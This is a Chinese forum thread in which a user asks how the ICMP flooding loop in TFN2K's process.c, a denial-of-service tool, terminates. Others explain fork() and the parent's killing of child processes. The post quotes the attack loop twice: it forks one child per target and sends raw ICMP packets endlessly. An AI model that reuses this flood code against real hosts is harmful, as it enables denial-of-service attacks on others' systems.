大家好,以下一段代码是从tfn2k的process.c中一个循环,于157行,注释是我自己加上的,我所不明白的是后面的该程序如何退出循环?
另外,创建子进程和后面的代码有何关系?请熟悉linux编程并有网络安全基础的朋友解答一下。
while ((parse != NULL) && (i++ < CHLD_MAX))
{
resolved = resolve (parse);/*本函数定义于ip.c的18行,解释IP*/
p = fork ();/*创建子进程*/
if (!p)
{
rawsock = socket(AF_INET, SOCK_RAW, RAW);/*rawsock为外部定义的变量,此处修改,相当于全局变量*/
if (rawsock < 0)
rawsock = socket (AF_INET, SOCK_RAW, ICMP);
/*设置套接字的属性*/
setsockopt (rawsock, IP, IP_HDRINCL, "1", sizeof ("1"));/*IP_HDRINCL表在数据包中包含IP首部*/
if (resolved == -1)/*解析IP失败*/
exit (0);
while (1) /*此处为不断地发送ICMP攻击包*/
icmp (resolved, 0);/*icmp()函数定义于flood.c的102行,其内容不循环,只是填充一个icmp数据包并调用sendto函数发送出去*/
}
#ifdef ATTACKLOG
{
char tmpbuf[100];
sprintf (tmpbuf, "PID %d forking (#%d), child (%d) attacks %s, ICMP\n"
,getpid (), i, p, parse);
dbug (tmpbuf);
}
#endif
pid[i] = p;
parse = strtok (NULL, DELIMITER);
}
另外,创建子进程和后面的代码有何关系?请熟悉linux编程并有网络安全基础的朋友解答一下。
while ((parse != NULL) && (i++ < CHLD_MAX))
{
resolved = resolve (parse);/*本函数定义于ip.c的18行,解释IP*/
p = fork ();/*创建子进程*/
if (!p)
{
rawsock = socket(AF_INET, SOCK_RAW, RAW);/*rawsock为外部定义的变量,此处修改,相当于全局变量*/
if (rawsock < 0)
rawsock = socket (AF_INET, SOCK_RAW, ICMP);
/*设置套接字的属性*/
setsockopt (rawsock, IP, IP_HDRINCL, "1", sizeof ("1"));/*IP_HDRINCL表在数据包中包含IP首部*/
if (resolved == -1)/*解析IP失败*/
exit (0);
while (1) /*此处为不断地发送ICMP攻击包*/
icmp (resolved, 0);/*icmp()函数定义于flood.c的102行,其内容不循环,只是填充一个icmp数据包并调用sendto函数发送出去*/
}
#ifdef ATTACKLOG
{
char tmpbuf[100];
sprintf (tmpbuf, "PID %d forking (#%d), child (%d) attacks %s, ICMP\n"
,getpid (), i, p, parse);
dbug (tmpbuf);
}
#endif
pid[i] = p;
parse = strtok (NULL, DELIMITER);
}
解决方案 »
- 问一下关于CRichEditCtrl的两个问题,请大家帮忙看一下!
- 怎么不震铃啊
- 各位知道有什么非MFC控件库么?注意是“非MFC”
- MFC中Ondraw怎么在一个屏幕中画多幅bmp位图?
- DBGrid 控件的使用
- 高分赠送,这个棘手的问题如何去解决,关于读取仪器里的数据的问题。
- 如何把“CTRL+ALT+S”按键消息发送出来,前提是不能按这些键
- 谁有到吉林省朝阳镇的卧铺票,2张,硬座也行,马上给钱(up 者有份)
- 一个关于INSTALL SHIELD的问题
- 打印机 000x.shd文档解析
- 初学网络编程,想请教一下局域网的三大协议通常的应用都有哪些不同
- 用WMI取硬件信息,其中用到ExecQuery,当想取Win32_Processor的Caption和Manufacturer,取到之后,怎么把结果分离呢?
icmp (resolved, 0);/*icmp()函数定义于flood.c的102行,其内容不循环,只是填充一个icmp数据包并调用sendto函数发送出去*/
} 这里的while(1)是个死循环,要想退出加个break语句。
=============================
这个循环内部并没有对i递增的操作呵!icmp函数也没有对i操作!
icmp (resolved, 0);/*icmp()函数定义于flood.c的102行,其内容不循环,只是填充一个icmp数据包并调用sendto函数发送出去*/
}
这里的while(1)是个死循环,要想退出加个break语句。
============================
此处没有break语句,icmp函数内部也没有break操作,虽然看似死循环,但接收tfn的终止命令,此循环却可以停止。这就是我不明白之处。
这个循环是不退出的,上面复制了个进程,接收到tfn终止命令,应该是将子进程结束掉了
========================================================
上面什么地方复制了进程呢?一进入大循环,只是又创建个新进程而已吧?
========================================================
上面什么地方复制了进程呢?一进入大循环,只是又创建个新进程而已吧?
p = fork ();/*创建子进程*/
============================================================
此处创建新进程,不是复制进程呵。
创建新进程,返回新进程的ID,p是int类型,p与旧进程的ID是不一样的,所以应该不存在复制进程的问题。
System Calls fork(2)NAME
fork, fork1 - create a new processSYNOPSIS
#include <sys/types.h>
#include <unistd.h> pid_t fork(void); pid_t fork1(void);DESCRIPTION
The fork() and fork1() functions create a new process. The
new process (child process) is an exact copy of the calling
process (parent process). The child process inherits the
following attributes from the parent process:
为什么不可以终止进程?进程内exit或者父进程发信号都可以结束掉
受到你这一番话启发,我看了其他代码,果然有一must_kill_all()函数根据所接收命令,杀死进程列表pid[]中的所有进程。终于解决,谢谢!